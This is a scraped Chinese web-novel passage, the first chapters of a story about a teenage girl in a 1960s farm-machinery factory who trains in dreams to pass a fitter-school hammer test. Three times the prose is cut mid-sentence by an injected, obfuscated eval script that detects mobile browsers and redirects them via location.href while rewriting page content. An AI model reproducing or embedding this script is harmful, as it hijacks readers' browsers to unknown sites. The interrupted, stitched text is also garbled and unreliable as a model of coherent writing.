《女钳工[六零]》 1. 做梦 林巧枝是被一阵拍门声惊醒的。 “你说说哪个姑娘家大白天躺着睡觉的,放了学也不知道帮着烧烧饭。” 她睁开眼,下意识伸手摸了摸眼睛。 她又做梦了。 刺眼的红色渗透了眼膜。 看到光透过分隔内间的木格子玻璃窗照进来,落在她的竹席和蒲扇上,眼前冰凉的血红色才渐渐回过温来。 怔了一小会儿。 她到盖着厚玻璃的书桌哪儿捧起一个黄色搪瓷缸子,一仰头,咕噜咕噜的大口喝凉白开。 解了渴,林巧枝长长地吐了一口气。 她看着镜子里的自己,满头都是豆大的汗珠,伸手抹了抹,陷入了沉思。 她又梦到自己死了,好像是疼死的。 即使从梦里醒过来,那种好像要把人生生剖开,从骨头里钻出来的冷和疼,都好像还没散掉。 透过木格子玻璃窗往外看,走廊上她母亲江红梅围着件罩衣在烧火,动作很麻利。 各种饭菜的香味汇聚在一起,也不知是谁家的,都往屋里飘。 农械厂家属院是二层小楼,二楼家家户户都在走廊堆了煤饼,放了个小煤炉,方便烧火。 各家婶婶阿婆的声音也随着饭菜香味飘进来。 “困难了三年,这天天瘪着肚子的日子可算过去了。” “副食店这批藕带又鲜又脆,还便宜,我家老吴就爱这口,王姐咱明儿去多买点。” “这快要中考了吧,江姐你家巧枝和家栋打算考哪所高中?还是读专科技校?” 江红梅手里炒着红苋菜,表情僵了一下:“这不是还没商量好嘛。”又转头朝屋里喊,“拿个盘子出来盛菜。” 林巧枝还有些发怔。 她从内间出来,伸手从橱柜里拿了个盘子,到走廊上递过去。 想到那个梦。 看到她母亲的背影,没说什么,又顺手把搁在灶台上的两个鸡蛋打到碗里,用筷子搅匀,放到饭笼里去蒸。 看到林巧枝的动作,嘈杂的走廊上,诡异的安静了下来。 惊奇的眼神,四目相对。 连江红梅都诧异了一下,看了她好几眼,才拿起盘子盛菜。 林巧枝抿了抿唇:“我去摆碗筷。” 转头回屋了。 走廊上这才传来压低的惊讶议论声。 “野丫头今儿转性了?” “是不是姑娘大了,晓得懂事了?” 林巧枝不用听,也能猜到走廊上在惊讶什么。 这一栋楼,不,或许是整个家属院,打小都喊她“野丫头”,觉得她性子凶。 为什么呢? 因为她小时候,就和弟弟打架。 说是弟弟,其实是双胞胎,她觉得一样大,但所有人都喜欢对她说:“你是姐姐,让着点弟弟。” 大人们很奇怪。 去广场听课的时候喊“妇女能顶半天,管教山河换新颜”“生男生女都一样” 回到家,却只喊女娃干活。 “不勤快一点,以后去了婆家都被说嘴。”“哪有姑娘不帮衬着做饭洗碗洗衣服的,不学点干活,以后嫁人都没人要。” 那天吃过饭,江红梅收了碗筷,顺口就喊女儿拿抹布把桌子擦了,然后洗碗。 她不想擦,弟弟也不想擦,她和弟弟就吵起来了,林家栋脱口就说:“这不就是你们女孩子该干的活吗?” 从那天起,她就不干了。 也不是完全不干,要干就姐弟俩都干,否则谁也使唤不动她。 要是拧她耳朵,她转头就去打林家栋。 她打小力气大,不怕! 要是骂她,她就用同样的话骂林家栋。 起初江红梅是抹泪的,说自己命苦,生了个讨债鬼,“别人家的姑娘不知道多贴心,这么大的时候干活多麻利,晓得心疼妈,就她的心是铁做的。” 街坊邻里也说,“这么大的姑娘都不晓得帮家里干活,真是不懂事。” 都不让家里女孩跟林巧枝玩,生怕被她带坏了。 但是谁又乐意干活呢? 学校里确实有一部分女孩躲着林巧枝走,但也有不少忍不住凑过来。 小巧枝站在椅子上,挥着拳头:“我可没说不干活,他干我就干,他不干我也不干!孟主任都说了,男孩女孩都一样!” 孟主任是红旗农械厂新上任的妇女主任,又大气又有文化,给全厂上过好多次课,是大干部,她说得话还能有错? 有了小巧枝带头,一场轰轰烈烈的“革命事业”就在家属院打响了。 先是崇拜小巧枝的同班同学。 然后是不同班的,上下一两个年级的跟风小女娃,凭什么光喊她们干活呀! 那一阵,家属院可真是鸡飞狗跳。 小巧枝还仗义。 要是她的朋友被家里打了,她敢冲到别人家里去护着朋友,还跑去喊孟主任来评理,闹得全家属院都知道。 她竟然还教小女娃打男娃! 野丫头! 这不是野丫头是什么? 连带着,好些大点的、懂事的姑娘,干活都不情不愿了。嘴上不说,看她手脚没之前麻利就晓得了。 野丫头把家属院风气都带坏了! *** 饭烧好了,林父也回来了。 他是全家唯一的工人,正式工,一人拿工资,养一家四口人,还要帮衬着两边老家的,家里日子紧巴巴的。 “累了吧,赶紧洗手吃饭。”江红梅给他把脏工服扔到盆里,等会儿搓,又把饭给他盛好放桌上。 桌上摆着三个菜,一盘清炒红苋菜,一盘鸡蛋羹,再一海碗江红梅腌的酸豆角。 林父干了一天装卸工,累得不行,就着酸辣下饭的豆角丁猛扒了几口,压了饿,才开口:“最近要填志愿了吧,老师有没有给你们讲,成绩够上哪些学校?” “就那几所呗。”林家栋打球回来也饿,嘟囔一句,不愿意多谈。 又撇撇嘴,“倒是姐成绩好,老师说只要正常发挥,除了江城一高可能要踮脚够一够,江城其余高中、专科技校都随她挑。” 他倒是还想到老师推荐的,女孩可以考虑报护理技校、或者师范学校,够不上的可以试试纺织专业。 看了一眼林巧枝,没说出口。 每年这时候,家属院都要讨论一波,林父和江红梅未尝没有考虑过这些? 女孩子学个护理、师范,又稳定又吃香,以后相亲不知道多少抢手。 但对着林巧枝,还真怕开这个口,想就头疼。 “你跟你姐学学,加把劲,别放学就知道打球。” 江红梅拿着汤勺分鸡蛋羹,最大的一块给林父,他干重体力活,吃得太差身体容易垮,然后两块大小差不多的分给两个孩子: “读书脑子也耗,过两天妈去供销社排队看看有没有猪脑花,炖来给你俩补补脑。” 最后剩下点没刮干净的碎蛋和碗底的蛋汤,她三两下刮到自己碗里。 “巧枝你成绩好,最近多教教你弟弟,他有不懂的题,给他讲讲。”分完了蛋,坐下又说,“孟主任都说了,往后啊,读书才有出息,妈就是吃了没文化的亏,这些年厂里招工都排不上队,只能接点糊纸壳的零碎活,钱又少又不稳定。” 她念叨起过日子的不容易,哪儿哪儿都要用钱用票,家里既缺钱也缺票。 嫁进城这些年,没能找个国营厂的正式工,只能当没工作的盲流子,成了她的执念,总挂在嘴边。 所以她一直支持两个孩子读书,盼着俩孩子都能找到好工作。 现如今,厂里很多人家也都是这么想,厂里宣传科、孟主任这些年可都下足了力气。 “他愿意听,我就给他讲。”林巧枝没推脱。 林巧枝认真吃完碗里的鸡蛋羹,又倒了点红苋菜的汤水,紫红色的汤汁把饭染成红色,苋菜浓郁的鲜味就融进了饭里,又好看又好吃。 她没心思说话,专心吃饭。 飞快吃完,把碗筷收到一边放着,“我吃完了,有点事出去一趟。” 背上挎包她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119703|164226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就往外走,边走边说:“今天轮到家栋洗碗,妈你要是趁着我不在帮他洗了,明儿也心疼心疼我。” 说完人就没影了。 江红梅气得吃了空口吃了两筷子咸菜,“今儿主动帮我干活,亏我还以为她懂事了。” *** 林巧枝往厂技术学校走。 她们红旗农械厂是江城能排进前三的国营大厂,除了宿舍食堂这些最基础的,厂里配套有托班、子弟小学、中学,厂办直属的医院,粮油店,甚至还有灯光球场。 这些可以保障一个工人从生到死。 饥荒三年,厂里也只是稍微饿饿肚子,定量少点,没听说饿死过一个工人。 她不想下乡。 最好的办法,就是在今年、最迟明年得到一份工作。 梦里,她考上心仪的高中,然后遇到了取消高考,紧接着就是停课,一停就是两年多。 再后来,在“知识青年上山下乡,去往广大农村、工厂、解放军农场参加劳动,接受工农兵再教育*”的号召下,她不得不去了乡下。 不是没有想过找工作。 可全江城的知识青年都在找工作,但凡有一个位置,连风声都没听到,录取公告就贴出来了。 工作机会比金子都抢手。 直到她死去的那年,高考都没有恢复。她念的所有书,都埋葬在那片黄土里。 穿过家属区往西走。 距离厂区越来越近,厂办广播台的声音也传了过来: “李大钊同志教人识字时曾说,工人的‘工’字,上边一横是天,下边一横是地,中间的一竖是工人,工人顶天立地,工人是最伟大的阶级……”* “红旗农械厂新一期‘扫盲识字班’开班,工人扫盲识字,才能学习奋进更好的建设新中国,希望大家踊跃报名……” 林巧枝手攥紧了挎包肩带。 梦里她母亲后悔的念叨好像就在耳边,“早知道我就去报名了,去糊那点纸壳才几个钱?”“我怎么就这么命苦,为了这个家操碎了心,老黄牛一样干,结果为那三瓜两枣,错过了正式工机会。” 梦里的事又一次应验了。 又一次。 林巧枝深吸一口气,闭了闭眼。 再睁开时,眼里都是坚定。 她大步朝着厂技术学校走去。 “张爷爷。”林巧枝笑着跟门卫爷爷打招呼。 张爷爷放下报纸,抬了抬老花镜,看清了人,诧异问:“巧枝啊。” 厂里一起生活了这么多年,都熟门熟路了,不过张胜利还是猜不到林家小丫头来学校找他做什么。 “我来找您要张报名表。” 张胜利扶眼镜的手歪了一下,他怀疑自己耳朵出了问题:“你说啥?” “我说,”林巧枝加大了点音量,“我来找您拿一张咱们厂技术学校的报名表。” 张爷爷捏着老花镜的镜腿,看得真真切切的。 这就是林家那个才十四五岁的年轻小丫头。 扎着两个麻花辫,还挎着书包呢。 “巧枝啊,你是不是搞错了?咱厂里的技术学校,培养的可是焊工、钳工、车工这些,都是男人干的力气活。” “没搞错。” “咱厂里可没有女娃娃学这个的,”张爷爷回头看看传达室里的报名表,犹豫不知道该不该给,“没有这个先例啊。” 林巧枝道:“我可没听说咱厂技术学校有不收女生的规定。一直就卡两个条件,一个中考成绩,一个厂子弟身份。然后基础技术考试通过就够了。” “我爸是厂里工龄二十多年的正式工,我是在咱们厂办直属医院出生的。”她黑白分明的眼睛里浮现骄傲,“我可是根正苗红的厂子弟!” 说起红旗农械厂,厂里没有谁是不挺直腰杆的。 它们厂生产的拖拉机、柴油机,名声可是响当当的!和长春拖拉机厂、天津拖拉机厂并称为“华国三铁牛”! 林巧枝拿回报名表的当晚。 消息就风一样,在整个家属区传遍了。 2. 考核 第二天,一大清早。 还没到上班的时间,孟主任就找到了林巧枝。 她梳着干部头,当妇女主任久了,温柔大气的眉目都染着威严。 正巧,林巧枝也有事找她。 办公室清静,没有旁人。 孟主任给她倒了杯水,“坐。” 林巧枝坐下。 她手捧着玻璃杯,看着孟主任的眼睛都发亮。 孟主任坐到她旁边,关切问道:“你成绩好,不是一直想考高中吗?之前没听说你想念咱们厂的技术学校。” 以孟主任的道行,自然能看出小姑娘心里藏着事。 眼下都有点淡淡的黑眼圈了。 她声线平稳,引导着:“别怕,那些对小孩的念唱做打,红枣大棒我都见多了,这厂里形形色色的工人和家属,啥人、啥招你孟主任没见过?” “我没怕,您知道我的,受了委屈我可不会憋着。”林巧枝笑了笑,才说,“是我自己决定的。” 孟主任不免诧异。 林巧枝沉吟片刻,自然不能说那些梦。 她看向这间自幼熟悉的办公室。 或许……也不完全是因为那些梦。 办公室的墙上贴了很多报纸和照片,例如人民日报报道的“新中国首位女火车司机”,林巧枝知道,她的名字叫田桂英,因为看到苏联女火车司机英姿飒爽的照片,立志想要开火车。 墙上还挂着用玻璃板封好的第三套人民币,这套最新版的人民币上,印刷着“女拖拉机手”“女纺织工”等工农兵人民形象。 她是从小听这些宣讲长大的。 她知道这面墙上每一位前辈的故事。 是孟主任把这些带进了红旗农械厂,带进了她的世界。 经年累月的宣传,让进步的新思想在偌大的厂区一点点扎根,生出新的枝芽。 她一直觉得,孟主任喊口号“妇女能顶半天,管教山河换新颜”特别有力量。 红旗农械厂就是她的“山河” 她真真切切地让她的山河,换了新颜。 “您跟我来。”她拉着孟主任的手,把人带到办公室门口的走廊上。 站在走廊往西边看,是红旗农械厂的厂区。 那里停放着一辆辆拖拉机。 陆续有工人从宿舍、家属院往厂区的方向走,准备上班,也有上了夜班的工人出来。 非常庞大的一个厂区,里面有许多车间,从生产、制造、到包装、运输,养活了数不清的家庭。 是江城支柱产业之一。 林巧枝吹着晨风,深深吸一口气,看着厂区说:“孟主任,咱江城人都知道,当初红旗厂只是个生产柴油机的中小厂。” “咱厂长厚着脸皮求爷爷告奶奶,从长春拖拉机厂请回来参与制作过‘鸭绿江一号’‘东方红28型拖拉机’的六级钳工。是他带着技术来,从打造模具开始,一步步把咱们厂发展成如今规模。” 路锋,大家都尊称他为路工。 他的地位非常高,住家属区最大的房子,领六级工的工资,比厂长薪水都高。 江城周边,火车两日能到的距离,都在他威名的辐射内,但凡哪个机械厂出了问题,多半会上门来请他出马。 他一人,有能力盘活一座城。 梦境中那些零碎片段,好像与现实交相辉映。 又织出一片更梦幻的“八级工”美景。 她也好想好想有那样的地位啊。 受崇敬、威望高,有话语权。 而不是讲道理没人理、说话没有人在意,去争取男孩生来就有的东西,都会被叫“野丫头” 她回头看向孟主任。 “所以,为什么不能是我呢?” 孟主任对上那双渴望又不甘的眼睛,好似明白了小孩心里的委屈,她笑着揉了揉林巧枝脑袋:“当然可以是我们巧枝。” 林巧枝乐得一蹦:“我就知道!” 她就知道,孟主任会信她。 她高兴地把填好的报名表递给孟主任,“那就拜托您了。” *** 有孟主任周旋,报名表很快盖好章,送到厂技术学校了。 尽管也有些小波折,倒也没有太大的阻力。 应当是不少人觉得,林巧枝多半过不了考核。 报名的大多都是技术工人家的孩子,或者有亲戚是当钳工、车工、焊工这些的,要么就是托关系拜了师傅,老早就学起来了。 还有许多钳工腹诽,“哪有女娃吃得了这个苦?” 考核可不简单,难得很。 比如今年,钳工这一项。 要用特制的铁质手锤,击打錾子,在限定的次数内,将固定好的一根标准尺寸的钢棍敲断,是敲断![1] 林巧枝拿到考核标准。 击打5下,钢棍被敲断,为优秀。 击打8下,钢棍被敲断,是良好。 击打12下,钢棍被敲断,是及格。[2] 如果12下之后,钢棍都没有被敲断,则是不通过,厂里还是推荐去念别的学校。 “咚——咚——咚——” 连响三下重重的手锤击打錾子的金属撞击声。 林父甩了甩被震得生疼的手。 放下左手拿的錾子,回头对林巧枝道:“爸都帮你试过了,我这一把力气,敲六七下都没反应。” “估摸着还是要些技术,或者法子,你这也没地儿学。”顶着江红梅逼过来的眼神,林父只好再说直白点,“要不……咱还是换个合适点的学校?” 林巧枝无奈:“爸你别捣乱。” 她把手锤和錾子都收起来。 厂技术学校,招中考分数不错的学生,从十几岁的少年时期培养,可不是为了培养只会下苦力的一二级工。 那不如去社会上招聘有力气、肯干活的壮汉,肯定比十几岁少年力气大。 厂技术学校,是要培养高级技术工人的。 中考分数是为了学习能力,入校考核则是为了筛选出有力气、能吃苦、肯动脑筋的苗子。 她是一定要入校的。 学校里有明文规定,技术达标可以提前毕业入厂。 而且在一年半之后,还因为一次扩大生产缺人,一次性将当时校内学生,按照成绩表现优异取前百分之五十,直接招了一半入厂。 有机会,也有保底,还有清晰可见的前路。 这是她在梦魇后,思量再三,给自己找到的最好的选择。 江红梅见丈夫不争气,把他推开,自己亲自来劝。 她苦口婆心道:“咱们厂是好,是江城能排进前三的大厂,福利好待遇高保障足,谁不想进?妈都想进呢!但咱也得考虑考虑实际情况不是,这哪里是女孩子家家能干得来的活?” “以后当个老师、考个护理不是挺好的吗?又轻松又体面。” 江红梅这会儿是真心疼闺女。 但林巧枝不想和她争这个。 正好她想找机会说扫盲班的事,就搭腔说:“妈你也想进厂的话,我倒是知道一个机会。” 冷不丁把江红梅吓了一跳。 她下意识去看门口。 没人,才松口气。 就见一串小萝卜头哒哒哒的跑进来,玩得满头是汗,开口兴奋地喊人:“林姐姐,我们来还玩具了!” 林巧枝把玩具收好,拍拍小萝卜头的背:“去吧,回家洗洗,看你们玩得这一身脏。” 小萝卜头们大多是女娃,小朋友也是很精的,知道让小姑娘来找林巧枝借玩具,借到的概率高一些。 她们依依不舍地往外挪,边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119704|164226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挪边回头,说着“姐姐的玩具做得真好玩”“下次还来借”“家属院小孩都好羡慕我们”之类的话。 压根舍不得回家。 林巧枝倒是挺喜欢她们的,就是因为她们总跑来借玩具,在前阵子梦魇里,她才突然发现,她小时候真的做过不少玩具。 她打小就是孩子王,力气大,胆子大,不管是丢沙包、打弹子,拍拐骨,斗鸡,弹弓比赛,任何有关肢体的游戏,她都玩得特别好。 并且乐此不疲,花样百出。 她喜欢玩、还特别会玩,不管外面小孩有什么新鲜玩具,她只要看过一眼,回家就能自己捣鼓出来。 她做的弹弓准头特别好。 她做的铁皮哨子,两面用砂纸打磨得锃亮,在阳光下闪闪发光,特别神气。 她甚至还做出一把链|条|枪!那是一种装火柴的玩具枪,主体是自行车链条和铁丝。按下扳机,橡皮筋弹力会带动撞针激发火柴头爆开,爆出砰的一声巨响和气流,火柴杆会“嗖”一下飞射出去。 那是全厂唯一一把火|柴|枪。 所有小孩梦寐以求的玩具枪,不知引发了多少场耍赖哭闹。 她享受创造的快乐。 到现在都还保留了满满一大箱子玩具。 江红梅轻手轻脚的走到门边,紧张地看了看门外,看到小萝卜头全都离开。 把门关上,提起的心这才放回肚子里。 她三步并作两步进来,急匆匆拉着林巧枝进里头那间房,还把林家栋都赶出去和他爸一起。 林家就两间房。 外面父母睡,还放了橱柜、衣柜这些家具。 里头这间,姐弟俩睡,一边一张铁架子床,中间拉个帘子,靠墙摆了一张书桌。 林巧枝睡里头那张床,此刻母女俩就坐在床边。 江红梅一脸紧张,抓着林巧枝的胳膊:“巧枝。” 当妈的晓得孩子,巧枝就不是那种爱随口开玩笑戏弄人的性子,这孩子较真。 林巧枝简单说了下:“去参加扫盲班,做最好的那个,尤其是有人来扫盲班里看的时候。” 梦里,就在这期扫盲班后期,正好赶上政策,有领导到江城各国营单位视察,确认落实各单位扫盲情况,城东仪器仪表厂有人表现好,被表扬了,树立了典型。 得到了一个临时工的岗位。 虽说是临时工,但只要不出大差错,是铁板钉钉能转正的。 否则领导表扬的积极分子,往后转头一看,哦豁,人被开了? 那领导也到过红旗农械厂,但扫盲班里那一期人,或许是生产任务太忙,或许是心思放在零活上,或许压根就没用心学,没有表现出彩的。 机会生生浪费了,后头知道了情况,不知道多少人捶胸顿足。 往后好长一段时间,类似的扫盲班、识字班都抢手得很,相关工作开展非常顺利。 “扫盲班?”江红梅压低了声音,“你从哪儿听来的消息?” 这么多期扫盲班,就没听说过有表现好,然后得到工作的。 “我朋友说的。”林巧枝随口应了句,“是谁就不能跟你说了。” 江红梅气得拍了一下她的大腿,“朋友比妈都亲。”她也是知道的,她家这个丫头和别家不一样。 交得朋友不多,但一个个关系都铁得很。 光是小时候跑去别人家撑腰的那几个,好像谁都有可能告诉她这个消息。 愣猜不到消息从哪儿来的。 林巧枝把人支走,盘算了下扫盲班的周期,揉了揉耳朵,舒了一口气。 晚上,她如愿进入了梦乡,睡前脑海里努力回想的那个梦。 “你好,自我介绍一下……” 她面无表情地穿过了正在相亲的两人,朝着传说有八级钳工的机械厂飞奔。 3. 锤击 林巧枝跑得很快。 十五岁的身体轻盈健捷,大步向前飞奔也半点不会疲惫。 周边颜色逐渐褪去,行人的动作也逐渐重复起来。 林巧枝并不诧异,尽管这看起来有点诡异。 她早就试探过了。 梦里的姑娘,就好像戏文、连环画里的主角,她周围的一切都是灵动的、鲜活的,嬉笑怒骂八卦趣事特别丰富。 距离她越远,人就越呆板,就好像她们厂里的器械,只机械的按照生产流程运作。 像是假人。 但非常神奇的是,这梦里真人偶尔奇怪,现实里打听不到对应的人和事,但假人却很真。 假人会弯腰掏煤炉灰,动作娴熟得和她简直一模一样。 假人会开拖拉机,那拖拉机虽然老旧了,但她一眼就能认出来,是她们红旗农械厂生产的拖拉机! 林巧枝开开心心的跑到机械厂门口。 飞快转了一圈,这个机械厂,生产任务居然是60吨重载型矿用自卸车! 广播站传来属于梦里女孩的播音声,普通话标准得简直像中央广播电视台:“工业的基础是钢,炼钢的基础是矿,国家提出‘大打矿山之仗’的决策,我厂承担了重点装备……” 难怪会有八级工!! 林巧枝眼睛都发亮。 她跑到厂区仓库,看到那个钢铁打造的大家伙,先是呆住,而后身体兴奋到滚烫。 大家伙!! 她们中国自己生产的!! 林巧枝抑制不住急促的呼吸,兴奋地围着这辆一次能拉60吨的车跑来跑去,转了好几圈。 她们中国,未来竟然能生产出一次拉60吨矿石的自卸车!这样的大家伙!! 十五岁的林巧枝昂着头看这辆钢铁巨兽。 心里满满都是自豪。 就像是厂长说的,他们一穷二白又何妨?他们工业基础薄弱又何妨?他们建国初重工业几乎为零又怎样。 撸起袖子加油干就是了! 林巧枝也信心满满地撸起袖子,给自己打气,“加油干!” 她找到一个正在用铁锤的钳工。 这并不难。 看起来应当是常用技术。 假人一直在机械的重复。 林巧枝蹲在旁边眼睛一眨不眨的看。 这样一次次反复,瞧着枯燥无趣,对林巧枝来说却颇有趣味,她自小喜欢捣鼓这些,打磨铁皮哨子都可以磨几个小时。 看了会儿,她从旁边捡了工具,也一锤锤敲击起来。 她一边落锤,一边琢磨。 几十下、几百下……她一次次敲击中感觉到了一些东西,落锤的位置,敲击的力度,挥锤的角度…… 要是感觉不对。 她就把掌心贴在假人手臂,肩膀的肌肉上,感受他们到底怎么发力。 要是想不通了。 她就试着拉低、扯歪假人的手,挪动他的配件,观察假人怎么调整落锤。 然后继续练习。 捶击几分钟很简单,但一直捶击却很难。 没多久,她的手臂肩膀就有了酸胀感,她表情平静地抬手抡锤。 心想,或许这就是大家觉得她过不了入校考核的原因吧。 这是个极其考验耐力、耐心、细致的活。 好在,林巧枝就是个犟的。 她不急不躁,一点点的思考,调整,在这间车间里抡了上万次手锤。 耗费了足足八小时,直至梦醒。 睁开眼睛,身体没有一丝酸胀,舒服得不得了! *** 沉浸练功是一种很奇妙的感觉。 每天都能感觉到自己的不同和进步。 林巧枝白天上课复习,回家练习技术。 梦里疯狂练技术,白天用自己的身体融会贯通。 她没有搭理外界纷杂的声音,一遍又一遍琢磨手锤这项基本功。 每晚梦里,都保持上万次有质量的敲击。 慢慢的,她越来越得心应手,锤子好像和手臂融为一体。 可她觉得还不够。 她要做得更好,做最好的那个。 等敲断了不知第几根钢棍,劲越来越巧,一分劲儿变成三分,三分劲儿又变成五分。 林巧枝身体很疲惫,但精神却越来越好。 每天都沉沉睡去,充实的日子将前阵子日日梦魇带来的惊恐,尽数抹平。 *** 天气越来越热。 江城随处可见的短袖、跨栏背心,等再热点,许多工人会打赤膊。 很快到了考核那天。 林巧枝学校那边请了一天假。 她去食堂吃了早饭,就一个人到厂技术学校来了。 “巧枝。” “来来来,这里签个到。”门卫张爷爷冲她招手,看她附身拿笔签到,实在没忍住好奇打听,“巧枝啊,练得怎么样了?” “还行。” 张爷爷没打听到也不失望,笑呵呵地给她指了个教室,“进去随便找位置坐着等就好,到时候会有人去教室叫。” 林巧枝微笑:“好,谢谢您了。” 签到完就是等待了。 随着时间流逝,教室里的人逐渐变多。 都是厂子弟,前后差不了两岁的同龄人,相互都认识。 十几岁的男生们,不少还被林巧枝揍过。 看到她坐在那儿,都相互看看,有点讪讪的坐远了点。 教室里不断有人被叫出去,却又没有人再回来,林巧枝无意识摩挲手上的茧,看着逐渐空荡的教室,不免逐渐紧张起来。 “林巧枝。”有人在门口喊。 “在!”她赶紧说,“来了。” 林巧枝连忙站起来,往隔壁教室走。 在门口,她扯了扯衣摆,整理了下衣服,把碎头发挽到耳后。 为这场入校考核,她把各种手锤都试过了,敲断了上百根钢棍,准备得很充足了,不会有问题的! 她深吸一口气,推门而入。 这是间操作教室。 中间一张操作台,旁边摆了几张木头凳子,靠墙摆着几箱子工具。 坐在中间的那位老师,看了看手里的名单,又抬头多看了林巧枝两眼,才开口说:“先自我介绍,然后去那边选一根钢棍,规矩知道吧?12下。” 林巧枝点头:“知道的。” 她站定,声音洪亮的做自我介绍:“各位师傅好,老师好,我叫林巧枝,今年十五岁,就读于江城洪山第一中学……” 这会儿教室里坐了四位老师,坐姿都有点随意,表情不是很好,显然一早上的考察耗费了不少精力,精神有些疲惫了。 林巧枝面不改色,依旧笑着。 她基本上是最后一批交报名表的,这样的顺序无可厚非,疲惫也人之常情。学生们努力锻炼的锤击技巧,对这些老师来说或许也不值一提。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119705|164226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她走到钢棍堆旁边。 钢棍都是标准尺寸的,她随手拿了一根,在操作台上固定好。 操作台上放着考核用的手锤,林巧枝拿起来,在手里掂了掂,感受了一下,然后握紧了。 王柏强第一个注意到她手上的动作,还有她站到操作台前的姿势。 倒是认真练过的,他眉心松了点。 先不管能不能通过考核,这态度看着就不错,一看是扎扎实实抡过不少锤子的。 不像有些投机取巧的,看他们拿锤子都感觉震手。 也不知道谁教出来的,难道以为他们看不出来?别说技术活了,家里媳妇切了十几年的菜,新手一拿刀上砧板,就瞧得出是不是笨手笨脚、没怎么切过菜的了。 “小姑娘态度还是不错的。”王柏强同几个老师对视,小声说着。 “这丫头力气也不小,听说小时候压着前头那些小子打,性子凶嘞。” 这里到不是坏话,性子要是太软,是干不好这种强技术活的。 王柏强稍微坐直了点,方便看动作。 林巧枝原本有些紧张,但拿起錾子和手锤,她心就倏然平静了下来。 得益于数万次的挥锤,看着眼前的钢棍,她十分自然娴熟地抡起手锤,连挥三下。 手锤重重地砸下,发出连续三声响亮的“铛”! 只用了三下,钢棍就断了。 王柏强当时看向林巧枝,眼神就带上了满意。 他在评分表上写了一笔。 然后抬头,“不错。” 又招手把林巧枝喊过来,“走过来点,看看你的手。” 林巧枝怔了一下,没听说这个。 她把手锤放下,走过去,目光飞快扫了一眼那张名单,看到自己名字,可惜后面那一栏被胳膊挡住了。 飞快收回目光。 不太明白地把双手伸出去。 刚刚看林巧枝三锤敲断铁棍都没太大表情的王柏强,看到她的手,诧异地挑了挑眉。 “你是什么时候开始练习的?” “交报名表开始。”林巧枝回答。 这事家属院不少人都知道,那铛铛铛的声音可藏不住,也做不了假。 王柏强也是这么想的,但听林巧枝真这么说,还是有点不可思议。 不是三锤敲断这根钢棍,他们在座的这几个都有这手功夫。 主要是,“你这么短时间练成这样,左手没受过一点伤吗?” 除了茧,竟然没什么明显的伤痕? 要知道他们当初练,或者说每个人最初开始练习,即使再小心翼翼挥锤,握着錾子的左手虎口都难免被砸伤。 最初的几周,虎口都会肿起来,严重的甚至会裂开。 林巧枝当然也伤过,但是在梦里。大概一晚上,眼、手配合的反应和协调性,就熟悉的差不多了。 醒来后,那种左右手该怎么配合的感觉还在,磨合得很顺利。 林巧枝把手收回来。 她反应很快。 “确实没怎么受过伤,可能是我上手比较快。” 她得为自己提前毕业入厂做铺垫。 从一开始,就让人相信,她是个能快速学习上手的聪明人。 王柏强暗啧了一声,朝她点头:“行了,你先出去吧。” 林巧枝微微鞠躬。 出去后关好门。 “咔嚓”一声。 林巧枝心一松,长长地吐出一口气。 4. 成绩 林巧枝脚步轻快地下楼,往外走。 努力压了压嘴角,想让自己看起来成熟些。 只是面上那一丝兴奋和雀跃,难免露出她这个年龄的不太稳重。 校门口空空的,没什么人影。 只有零星从学校出来的几个年轻人,或兴奋、或沮丧,或踌躇,朝着厂内各个方向散去了。 “巧枝!” 一声清亮的高呼。 林巧枝顺着声音看过去,一个穿着蓝色布吉拉的女生站在树荫下,高举一瓶橙色汽水儿朝她兴奋的挥手。 宁珍珠兴奋地小跑过来,迫不及待地问:“怎么样?” 林巧枝看到她满脸期待,再压不住嘴角,笑出一口白亮亮的牙,“你猜?” “肯定特别好!”宁珍珠高兴得一挥拳。 她一脸小嘚瑟,把汽水儿往林巧枝眼前一举,献宝道:“你瞧!” “我就知道你肯定能行,连庆祝的汽水儿都买好了!” 又从口袋里摸出一把瓶起子递给林巧枝。 橙黄色的汽水儿,玻璃瓶身上还附了一滴滴水汽,看着就知道等了一会儿了。 林巧枝心里有些高兴,接过瓶起子,扣住铁皮盖儿,一撬。 “呲——” 一股白气就从汽水瓶口冒出来,橙黄色的汽水里升腾起好多细密的泡泡。 清甜甜的凉意扑面而来。 “气真冲儿!” 江城的夏天很闷,蒸笼一样闷热,谁也没法抵挡北冰洋汽水的魅力。 两个女生在树荫下找了个地儿坐下,高兴的分享汽水喝。 “6下?” “多了。” “4下?” 林巧枝摇摇头。 凑到她耳朵边,说悄悄话一样咬耳朵,“3下。” 